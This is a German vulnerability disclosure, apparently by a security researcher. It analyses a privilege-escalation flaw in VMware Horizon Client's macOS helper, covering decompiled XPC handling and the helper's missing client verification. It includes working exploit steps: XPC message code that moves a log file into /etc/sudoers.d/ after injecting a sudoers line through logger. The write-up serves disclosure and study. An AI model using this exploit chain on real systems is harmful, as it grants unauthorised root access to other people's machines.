
VMWare Horizon Client für macOS LPE aufgrund eines XPC-Logikfehlers. Verspäteter POC für einen 0-Day, den ich verantwortungsvoll an Omnissa gemeldet habe.
Das macOS-Betriebssystem verwendet XPC-Dienste für die grundlegende Interprozesskommunikation zwischen verschiedenen Prozessen, wie z. B. zwischen dem XPC-Dienst-Daemon und privilegierten Hilfsprogrammen von Drittanbieter-Anwendungen. Der VMware Horizon Client registriert bei der Installation den privilegierten Helfer com.vmware.horizon.CDSHelper unter dem Verzeichnis /Library/PrivilegedHelperTools/.
Es ist auch zu beachten, dass der Mach-Name com.vmware.horizon.CDSHelper vom privilegierten Helfer verwendet wird, um auf eingehende XPC-Verbindungen zu lauschen, wie oben gezeigt.
Mit den Standard-Entwicklertools von macOS wurden dann Symbole aus der Helfer-Binärdatei extrahiert, um festzustellen, dass sie XPC-Verhalten integriert:
» nm -a /Library/PrivilegedHelperTools/com.vmware.horizon.CDSHelper | grep -i xpc
U __xpc_error_connection_invalid
U __xpc_error_key_description
U __xpc_type_connection
U __xpc_type_dictionary
U __xpc_type_error
U _xpc_connection_create_mach_service
U _xpc_connection_get_pid
U _xpc_connection_resume
U _xpc_connection_send_message
U _xpc_connection_set_event_handler
U _xpc_dictionary_create_reply
U _xpc_dictionary_get_remote_connection
U _xpc_dictionary_get_string
U _xpc_dictionary_set_int64
U _xpc_get_type
U _xpc_release
Das Hopper Disassembler Werkzeug wurde dann verwendet, um den Helfer in einen Decompiler zu laden, um ihn weiter rückwärts zu entwickeln, wie unten gezeigt:
open -a /Applications/Hopper\\ Disassembler\\ v4.app /Library/PrivilegedHelperTools/com.vmware.horizon.CDSHelper
Die Funktion EntryPoint() wurde lokalisiert und überprüft, wodurch bestätigt wurde, dass sie den Haupt-Einstiegspunkt des CDSHelper darstellt.
Die Funktion sub_100005fa0 wurde dann dekompiliert und bestätigte damit, dass das privilegierte Helfer-Programm des VMware Horizon Client die XPC-Dienste-API verwendet – dies ist die untere C-Ebene-API, die Apple bereitstellt, im Gegensatz zur XPC-Verbindungs-API, die auf der Objective-C/Swift-Ebene liegt:
int sub_100005fa0(int arg0, int arg1) {
sub_1000063d4("Starting service: %s\n");
r0 = xpc_connection_create_mach_service(arg0, 0x0, 0x1);
xpc_connection_set_event_handler(r0, &var_38);
r0 = xpc_connection_resume(r20);
dispatch_main();
return r0;
}
Nachdem der Mach-Dienst erstellt wurde (via xpc_connection_create_mach_service(com.vmware.horizon.CDSHelper)), werden Nachrichten zwischen dem Client und dem XPC-Dienst des Horizon Client über XPC-Wörterbuchobjekte ausgetauscht, die mit der Methode xpc_dictionary_create() erstellt werden.
Werte können zu diesem Wörterbuch mit Methoden hinzugefügt werden, die Apple Entwicklern zur Verfügung stellt; diese beginnen typischerweise mit xpc_dictionary_set_*.
Der Client kann diese XPC-Wörterbuchobjekte über Methoden wie xpc_connection_send_* an den XPC-Dienst senden.
Auf der Seite des XPC-Dienstes des Horizon Client wird ein Handler registriert, der die vom Client empfangenen XPC-Wörterbuchobjekte verarbeiten kann. Dies geschieht mit der Methode xpc_connection_set_event_handler().
Schließlich werden Werte aus dem empfangenen XPC-Wörterbuchobjekt mit Methoden wie xpc_dictionary_get_* gelesen.
Nachdem EntryPoint() des CDSHelper zurückgekehrt ist, wird die Funktion sub_100056d0 aufgerufen:
An diesem Punkt geht die Ausführung an sub_1000056ec über, die den Großteil der Arbeit bei der Verarbeitung eingehender XPC-Nachrichten übernimmt. Die gesamte dekompilierte Funktion ist unten angegeben. Die relevanten anfälligen Teile werden unmittelbar danach überprüft.
int sub_1000056ec(int arg0, int arg1) {
r31 = r31 - 0x90;
var_30 = r24;
stack[-56] = r23;
var_20 = r22;
stack[-40] = r21;
var_10 = r20;
stack[-24] = r19;
saved_fp = r29;
stack[-8] = r30;
r19 = arg1;
var_38 = **___stack_chk_guard;
sub_1000063d4("CDSHelper: The cds helper will call HelperMain.\n");
r0 = xpc_dictionary_get_string(r19, "cdsjob");
if (r0 == 0x0) goto loc_1000057bc;
loc_100005738:
r20 = r0;
r0 = sub_1000063d4("CDSHelper: cdsJob is %s.\n");
if (strcmp(r20, "cdsjob_runscript") == 0x0) goto loc_100005818;
loc_100005760:
if (strcmp(r20, "cdsjob_movefile") == 0x0) goto loc_1000058c4;
loc_100005774:
if (strcmp(r20, "cdsjob_installpackage") == 0x0) {
if (**___stack_chk_guard == var_38) {
r0 = sub_100005498(r19);
}
else {
__stack_chk_fail();
}
}
else {
r0 = sub_100005380(r19, 0x16);
sub_100006434("NOT_REACHED %s:%d\n");
}
return r0;
loc_1000058c4:
r0 = sub_1000068b8();
if (r0 == 0x0) goto loc_100005980;
loc_1000058d4:
r22 = r0;
r0 = xpc_dictionary_get_string(r19, "cds_movefile_srcfile");
r20 = r0;
if (r0 == 0x0) goto loc_1000059b0;
loc_1000058f0:
r0 = xpc_dictionary_get_string(r19, "cds_movefile_dstdir");
r21 = r0;
if (r0 == 0x0) goto loc_1000059f8;
loc_100005908:
sub_1000069b8();
sub_1000069b8();
sub_100006998();
if (0x0 == 0x0) goto loc_100005a60;
loc_100005948:
sub_100006978();
sub_1000067b8();
r0 = "CDSHelper: Failed to move the file : %s.\n";
goto loc_100005a00;
loc_100005a00:
sub_1000063d4(r0);
goto loc_100005a04;
loc_100005a04:
r22 = 0x16;
strerror(0x16);
sub_1000063d4("CDSHelper: The cds moving failed : %s from %s to %s!\n");
goto loc_100005a24;
loc_100005a24:
r0 = r19;
r1 = r22;
goto loc_100005a2c;
loc_100005a2c:
r0 = sub_100005380(r0, r1);
if (**___stack_chk_guard != var_38) {
__stack_chk_fail();
}
return r0;
loc_100005a60:
sub_1000063d4("CDSHelper: The cds moving ran successfully!\n");
r22 = 0x0;
goto loc_100005a24;
loc_1000059f8:
r0 = "CDSHelper: Invalid parameter of moving: destination dir.\n";
goto loc_100005a00;
loc_1000059b0:
sub_1000063d4("CDSHelper: Invalid parameter of moving: source file.\n");
r21 = 0x0;
goto loc_100005a04;
loc_100005980:
sub_1000063d4("CDSHelper: Failed to get the invalid file manager.\n");
r21 = 0x0;
r20 = 0x0;
goto loc_100005a04;
loc_100005818:
r0 = xpc_dictionary_get_string(r19, "vmwareid");
if (r0 == 0x0) goto loc_100005960;
loc_10000582c:
r20 = r0;
r0 = xpc_dictionary_get_string(r19, "path");
if (r0 == 0x0) goto loc_10000596c;
loc_100005844:
r21 = r0;
if ((sub_100005df4(r20, "vmware-id") & 0x1) == 0x0) goto loc_100005998;
loc_10000585c:
r0 = xpc_dictionary_get_string(r19, "appDir");
if (r0 == 0x0) goto loc_1000059c4;
loc_100005870:
r22 = r0;
r0 = xpc_dictionary_get_string(r19, "tempDir");
if (r0 == 0x0) goto loc_1000059c4;
loc_100005888:
sub_100006460();
sub_1000063d4("CDSHelper: The cds script %s is running...\n");
r0 = sub_100005410(&var_60);
r20 = r0;
if (r0 == 0x0) {
r0 = "CDSHelper: The cds script ran successfully!\n";
}
else {
strerror(r20);
r0 = "CDSHelper: The cds script failed to run : %s!\n";
}
goto loc_1000059e8;
loc_1000059e8:
sub_1000063d4(r0);
r0 = r19;
r1 = r20;
goto loc_100005a2c;
loc_1000059c4:
r0 = "CDSHelper: Invalid parameter.\n";
goto loc_1000059cc;
loc_1000059cc:
sub_1000063d4(r0);
r20 = 0x16;
goto loc_1000059d4;
loc_1000059d4:
strerror(r20);
r0 = "CDSHelper: The cds script failed to run : %s!\n";
goto loc_1000059e8;
loc_100005998:
sub_1000063d4("CDSHelper: Invalid script codesigning for %s.\n");
r20 = 0xd;
goto loc_1000059d4;
loc_10000596c:
sub_1000063d4("CDSHelper: Invalid script path.\n");
r20 = 0x2d;
goto loc_1000059d4;
loc_100005960:
r0 = "CDSHelper: Invalid vmwareid.\n";
goto loc_1000059cc;
loc_1000057bc:
sub_1000063d4("CDSHelper: Invalid cdsJob.\n");
strerror(0x16);
r0 = sub_1000063d4("CDSHelper: The cds script failed to run : %s!\n");
if (**___stack_chk_guard == var_38) {
r0 = sub_100005380(r19, 0x16);
}
else {
__stack_chk_fail();
}
return r0;
}
Wie unten hervorgehoben, erhält der privilegierte Helfer zuerst den Wert von cdsjob mittels der xpc_dictionary_get_string()-Methode. Von hier aus gibt es drei mögliche Zeichenfolgen, die der privilegierte Helfer erwartet:
cdsjob_runscriptcdsjob_movefilecdsjob_installpackage
Sollte der Zeichenfolgenvergleich eine Übereinstimmung mit cdsjob_movefile ergeben, setzt der CDSHelper die Ausführung innerhalb von loc_1000058c4 fort, wie unten gezeigt. Zwei zusätzliche Zeichenfolgen werden über die xpc_dictionary_get_string()-Methode überprüft:
cds_movefile_srcfilecds_movefile_dstdir
Nachdem diese beiden zusätzlichen Zeichenfolgen vom privilegierten Helfer abgerufen wurden, werden drei weitere Funktionen aufgerufen bei:
sub_1000069b8sub_1000069b8sub_100006998
Diese Funktionen wurden untersucht und unten dargestellt.
Rückgabe einer Zeichenfolge, die durch Kopieren der Daten aus einem gegebenen C-Array von UTF8-kodierten Bytes erstellt wurde (https://developer.apple.com/documentation/foundation/nsstring/1497379-stringwithutf8string):void sub_1000069b8() {
[r0 stringWithUTF8String:r2];
return;
}
Rückgabe einer zweiten Zeichenfolge:
void sub_1000069b8() {
[r0 stringWithUTF8String:r2];
return;
}
Verschieben der Datei oder des Verzeichnisses am Pfad, der durch cds_movefile_srcfile angegeben wird, an einen neuen Ort unter cds_movefile_dstdir (https://developer.apple.com/documentation/foundation/nsfilemanager/1413529-moveitematpath):
void sub_100006998() {
[r0 moveItemAtPath:r2 toPath:r3 error:r4];
return;
}
An diesem Punkt verschiebt der CDSHelper, sofern keine Dateisystemfehler auftreten, die Datei erfolgreich, protokolliert die folgende Meldung und gibt die Ausführung zurück: CDSHelper: The cds moving ran successfully!
Es sollte beachtet werden, dass der privilegierte Helfer während dieses Vorgangs keine Überprüfungen der eingehenden Client-Verbindung durchführt (z. B. durch Signaturprüfung mittels der SecRequirement-Zeichenfolge und der Paketkennung des Clients, Teamkennung, Apple-Zertifikatsignierung usw.). Daher kann ein böswilliger Akteur eine gültige XPC-Verbindung aufbauen und den privilegierten Helfer zwingen, beliebige Dateien mit erhöhten Rechten zu verschieben. Dies eröffnet die Möglichkeit einer Privilegienausweitung bis zur vollständigen Kompromittierung des Betriebssystems, wie unten gezeigt.
Die folgenden XPC-Wörterbuchwerte wurden zuerst gesetzt und gesendet, um eine beliebige Root-Dateiüberschreibung nachzuweisen:
xpc_dictionary_set_string(my_message, "cdsjob", "cdsjob_movefile");
xpc_dictionary_set_string(my_message, "cds_movefile_srcfile", "/private/tmp/ticket-Sf12p9");
xpc_dictionary_set_string(my_message, "cds_movefile_dstdir", "/private/tmp/ticket-Sf12p91337");
Da jedoch der CDSHelper ein Dateimanager-Objekt mittels defaultManager anstelle von fileManagerWithAuthorization in der dekompilierten Funktion sub_1000068b8 initialisiert, respektiert der privilegierte Helfer den Dateibesitz beim Verschieben von Dateien; d.h. Dateien, die ursprünglich Nicht-Root-Benutzern gehören, werden beim Verschieben nicht zu Root-Besitz. Um daher Privilegien zu erweitern, indem eine Datei in ein Verzeichnis wie /etc/sudoers.d/ verschoben wird, muss ein Angreifer eine Datei finden, die bereits Root gehört, nicht weltweit beschreibbar ist und deren Inhalt vor dem Verschieben über die CDSHelper-Funktion teilweise kontrolliert werden kann.
Wie unten gezeigt, ist es möglich, den Inhalt von /var/log/install.log teilweise über das Kommandozeilenprogramm logger zu kontrollieren; dies ist eine Datei, die die Kriterien der Ausnutzungsbedingungen erfüllt:
» ls -la /var/log/install.log
-rw-r--r--@ 1 root admin 420902 Oct 20 18:46 /var/log/install.log
Es ist möglich, eine gültige Zeile einer sudo-Konfiguration in die Protokolldatei einzufügen, indem logger mit der Priorität install.error verwendet wird und eine neue Zeile mittels eines Wagenrücklaufs hinzugefügt wird.
Die relevanten Zeilen aus dem Exploit-POC (siehe poc.c) zum Verschieben der genannten Protokolldatei in das Verzeichnis /etc/sudoers.d/ als myfile sind unten dargestellt:
xpc_object_t my_message;
my_message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(my_message, "cdsjob", "cdsjob_movefile");
xpc_dictionary_set_string(my_message, "cds_movefile_srcfile", "/var/log/install.log");
xpc_dictionary_set_string(my_message, "cds_movefile_dstdir", "/etc/sudoers.d/myfile");
Beachten Sie, dass das Betriebssystem beim Empfang eines über sudo ausgeführten Befehls die Protokolldatei parst, mehrere Fehler bezüglich der ungültigen Syntax der Protokolleinträge an stdout zurückgibt und schließlich fortfährt, bis es auf die einzelne Zeile mit gültiger Syntax trifft, die eingefügt wurde.
Daher verschiebt der Exploit die eingefügte Protokolldatei erfolgreich in das Verzeichnis /etc/sudoers.d/ und zeigt, dass es möglich ist, eine neue Datei unter /tmp/vmwarebeware mittels sudo zu berühren, was eine erfolgreiche Privilegienausweitung auf dem zugrundeliegenden macOS-Betriebssystem über das privilegierte Hilfsprogramm des VMware Horizon Client beweist.